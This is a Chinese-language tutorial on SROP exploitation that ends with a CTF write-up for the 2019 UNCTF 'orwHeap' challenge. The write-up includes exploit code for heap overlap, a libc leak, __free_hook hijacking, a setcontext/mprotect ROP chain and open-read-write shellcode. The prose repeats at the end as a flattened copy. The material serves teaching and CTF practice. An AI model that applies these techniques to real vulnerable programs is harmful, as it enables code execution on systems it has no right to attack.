Linux User Exploit(0)--SROP的引伸
字数 1682 2025-08-24 20:49:22

SROP (Sigreturn Oriented Programming) 攻击技术详解

1. SROP 概述

SROP (Sigreturn Oriented Programming) 是 ROP (Return Oriented Programming) 攻击方法中的一种变体,它利用 Linux 系统中的 signal 机制和 sigreturn 系统调用来实现对程序执行流的控制。

核心优势

  • 减少寻找 gadgets 的难度
  • 可以一次性控制所有寄存器
  • 适用于缺乏足够 gadgets 的环境

2. 前置知识:Signal 机制

2.1 Signal 处理流程

  1. 内核向进程发送 signal,进程被挂起进入内核态
  2. 内核保存进程上下文(所有寄存器压入用户栈)
  3. 压入 signal 信息和指向 sigreturn 的系统调用地址
  4. 跳转到注册的 signal handler 处理 signal
  5. signal handler 执行完后执行 sigreturn 代码
  6. 内核恢复保存的进程上下文,控制权返回用户进程

2.2 Signal Frame 结构

内核在用户栈上保存的上下文结构称为 Signal Frame,包含:

  • ucontext 结构体
  • siginfo 信息
  • rt_sigreturn 地址

3. sigcontext 结构体

3.1 64位结构体

struct _fpstate {
    __uint16_t cwd;
    __uint16_t swd;
    __uint16_t ftw;
    __uint16_t fop;
    __uint64_t rip;
    __uint64_t rdp;
    __uint32_t mxcsr;
    __uint32_t mxcr_mask;
    struct _fpxreg _st[8];
    struct _xmmreg _xmm[16];
    __uint32_t padding[24];
};

struct sigcontext {
    __uint64_t r8;
    __uint64_t r9;
    __uint64_t r10;
    __uint64_t r11;
    __uint64_t r12;
    __uint64_t r13;
    __uint64_t r14;
    __uint64_t r15;
    __uint64_t rdi;
    __uint64_t rsi;
    __uint64_t rbp;
    __uint64_t rbx;
    __uint64_t rdx;
    __uint64_t rax;
    __uint64_t rcx;
    __uint64_t rsp;
    __uint64_t rip;
    __uint64_t eflags;
    unsigned short cs;
    unsigned short gs;
    unsigned short fs;
    unsigned short __pad0;
    __uint64_t err;
    __uint64_t trapno;
    __uint64_t oldmask;
    __uint64_t cr2;
    __extension__ union {
        struct _fpstate *fpstate;
        __uint64_t __fpstate_word;
    };
    __uint64_t __reserved1[8];
};

3.2 32位结构体

struct sigcontext {
    unsigned short gs, __gsh;
    unsigned short fs, __fsh;
    unsigned short es, __esh;
    unsigned short ds, __dsh;
    unsigned long edi;
    unsigned long esi;
    unsigned long ebp;
    unsigned long esp;
    unsigned long ebx;
    unsigned long edx;
    unsigned long ecx;
    unsigned long eax;
    unsigned long trapno;
    unsigned long err;
    unsigned long eip;
    unsigned short cs, __csh;
    unsigned long eflags;
    unsigned long esp_at_signal;
    unsigned short ss, __ssh;
    struct _fpstate *fpstate;
    unsigned long oldmask;
    unsigned long cr2;
};

3.3 系统调用号

  • 32位:sigreturn 调用号为 77
  • 64位:sigreturn 调用号为 15

4. SROP 攻击原理

4.1 基本思路

  1. 构造一个伪造的 Signal Frame
  2. 控制程序执行 sigreturn 系统调用
  3. 内核从伪造的 Signal Frame 恢复寄存器值
  4. 实现任意代码执行

4.2 关键点

  • Signal Frame 保存在用户地址空间,可被攻击者读写
  • 通过伪造 Signal Frame 可以控制所有寄存器
  • 通常需要结合其他漏洞(如堆溢出、栈溢出)使用

5. 利用工具:pwntools 中的 SigreturnFrame

# 指定机器架构
context.arch = "amd64"

# 设置寄存器
sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x2
sigframe.rsi = 0x3
sigframe.rdx = 0x4

6. setcontext 函数利用

setcontext 函数是 SROP 攻击中的重要跳板:

int setcontext(const ucontext_t *ucp);

6.1 关键指令

0x7ffff7a7bb85 <setcontext+53>:  mov rsp, QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>:  mov rbx, QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>:  mov rbp, QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>:  mov r12, QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>:  mov r13, QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>:  mov r14, QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>:  mov r15, QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>:  mov rcx, QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>:  push rcx
0x7ffff7a7bbaf <setcontext+95>:  mov rsi, QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>:  mov rdx, QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx, QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8, QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9, QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi, QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax, eax
0x7ffff7a7bbcf <setcontext+127>: ret

6.2 使用技巧

  • 通常从 setcontext+53 开始使用,避开 fldenv [rcx] 指令
  • 可用于调用 mprotect 后跳转到 shellcode

7. 实例分析:2019 UNCTF orwHeap

7.1 题目分析

  • 程序功能:堆分配、编辑、删除,无输出功能
  • 保护机制:未开启全部保护
  • 漏洞点:堆溢出漏洞

7.2 利用步骤

  1. 堆布局与泄露地址

    • 利用堆溢出修改堆大小造成堆重叠
    • 控制堆块留下 main_arena 地址
    • 修改地址分配到 stdout 附近(爆破一个字节)
    • 获取 libc 地址
  2. 劫持 __free_hook

    • 利用 fastbin attack 劫持 __free_hook
    • 设置为 setcontext 函数地址
  3. 构造 SROP 链

    • 使用 setcontext 进行寄存器控制
    • 调用 mprotect 修改内存权限
    • 执行 ORW (Open-Read-Write) shellcode 读取 flag

7.3 关键 EXP 代码

# 堆布局与泄露
add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0)+p64(0x21))*6 + '\n')
add(0x68, (p64(0)+p64(0x21))*6 + '\n')
delete(0)
add(0x68, 'a'*0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')
delete(0)
add(0x68, 'a'*0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p16(0x25dd))  # 爆破部分

# 泄露libc地址
add(0x68, '\n')
add(0x68, 'c'*0x33 + p64(0xfbad2887 | 0x1000) + p64(0)*3 + '\n')
p.recvn(0x88)
libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_']

# 劫持__free_hook
edit(1, 'b'*0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')
edit(1, 'b'*0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b'*0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13))

# 构造SROP Frame
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc_addr + 0x00000000000bc375  # syscall; ret;

# 触发SROP
add(0x68, payload[0x80:0x80+0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')
edit(1, payload[:0x98])
delete(1)

# ROP链执行ORW
layout = [
    libc_addr + 0x0000000000021102,  # pop rdi; ret;
    (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
    libc_addr + 0x00000000000202e8,  # pop rsi; ret;
    0x2000,
    libc_addr + 0x0000000000001b92,  # pop rdx; ret;
    7,
    libc_addr + 0x0000000000033544,  # pop rax; ret;
    10,
    libc_addr + 0x00000000000bc375,  # syscall; ret;
    libc_addr + 0x0000000000002a71,  # jmp rsp;
]

# ORW shellcode
shellcode = asm('''
    sub rsp, 0x800
    push 0x67616c66
    mov rdi, rsp
    xor esi, esi
    mov eax, 2
    syscall
    cmp eax, 0
    js failed
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall
    mov edx, eax
    mov rsi, rsp
    mov edi, 1
    mov eax, edi
    syscall
    jmp exit
failed:
    push 0x6c696166
    mov edi, 1
    mov rsi, rsp
    mov edx, 4
    mov eax, edi
    syscall
exit:
    xor edi, edi
    mov eax, 231
    syscall
''')

p.send(flat(layout) + shellcode)
p.interactive()

8. 防御措施

  1. 内核层面

    • 检查 Signal Frame 是否来自用户空间
    • 限制 sigreturn 系统调用的使用
  2. 程序层面

    • 启用所有保护机制(ASLR, NX, Stack Canary 等)
    • 避免内存破坏漏洞
  3. 编译器层面

    • 使用更安全的编译选项
    • 插入防护代码

9. 总结

SROP 是一种强大的攻击技术,它通过利用 signal 机制和 sigreturn 系统调用,能够绕过传统 ROP 需要大量 gadgets 的限制。攻击者通过伪造 Signal Frame 可以一次性控制所有寄存器,实现任意代码执行。防御 SROP 需要从内核、程序和编译器多个层面进行防护。

SROP (Sigreturn Oriented Programming) 攻击技术详解 1. SROP 概述 SROP (Sigreturn Oriented Programming) 是 ROP (Return Oriented Programming) 攻击方法中的一种变体,它利用 Linux 系统中的 signal 机制和 sigreturn 系统调用来实现对程序执行流的控制。 核心优势 减少寻找 gadgets 的难度 可以一次性控制所有寄存器 适用于缺乏足够 gadgets 的环境 2. 前置知识:Signal 机制 2.1 Signal 处理流程 内核向进程发送 signal,进程被挂起进入内核态 内核保存进程上下文(所有寄存器压入用户栈) 压入 signal 信息和指向 sigreturn 的系统调用地址 跳转到注册的 signal handler 处理 signal signal handler 执行完后执行 sigreturn 代码 内核恢复保存的进程上下文,控制权返回用户进程 2.2 Signal Frame 结构 内核在用户栈上保存的上下文结构称为 Signal Frame,包含: ucontext 结构体 siginfo 信息 rt_sigreturn 地址 3. sigcontext 结构体 3.1 64位结构体 3.2 32位结构体 3.3 系统调用号 32位: sigreturn 调用号为 77 64位: sigreturn 调用号为 15 4. SROP 攻击原理 4.1 基本思路 构造一个伪造的 Signal Frame 控制程序执行 sigreturn 系统调用 内核从伪造的 Signal Frame 恢复寄存器值 实现任意代码执行 4.2 关键点 Signal Frame 保存在用户地址空间,可被攻击者读写 通过伪造 Signal Frame 可以控制所有寄存器 通常需要结合其他漏洞(如堆溢出、栈溢出)使用 5. 利用工具:pwntools 中的 SigreturnFrame 6. setcontext 函数利用 setcontext 函数是 SROP 攻击中的重要跳板: 6.1 关键指令 6.2 使用技巧 通常从 setcontext+53 开始使用,避开 fldenv [rcx] 指令 可用于调用 mprotect 后跳转到 shellcode 7. 实例分析:2019 UNCTF orwHeap 7.1 题目分析 程序功能:堆分配、编辑、删除,无输出功能 保护机制:未开启全部保护 漏洞点:堆溢出漏洞 7.2 利用步骤 堆布局与泄露地址 利用堆溢出修改堆大小造成堆重叠 控制堆块留下 main_arena 地址 修改地址分配到 stdout 附近(爆破一个字节) 获取 libc 地址 劫持 __ free_ hook 利用 fastbin attack 劫持 __free_hook 设置为 setcontext 函数地址 构造 SROP 链 使用 setcontext 进行寄存器控制 调用 mprotect 修改内存权限 执行 ORW (Open-Read-Write) shellcode 读取 flag 7.3 关键 EXP 代码 8. 防御措施 内核层面 检查 Signal Frame 是否来自用户空间 限制 sigreturn 系统调用的使用 程序层面 启用所有保护机制(ASLR, NX, Stack Canary 等) 避免内存破坏漏洞 编译器层面 使用更安全的编译选项 插入防护代码 9. 总结 SROP 是一种强大的攻击技术,它通过利用 signal 机制和 sigreturn 系统调用,能够绕过传统 ROP 需要大量 gadgets 的限制。攻击者通过伪造 Signal Frame 可以一次性控制所有寄存器,实现任意代码执行。防御 SROP 需要从内核、程序和编译器多个层面进行防护。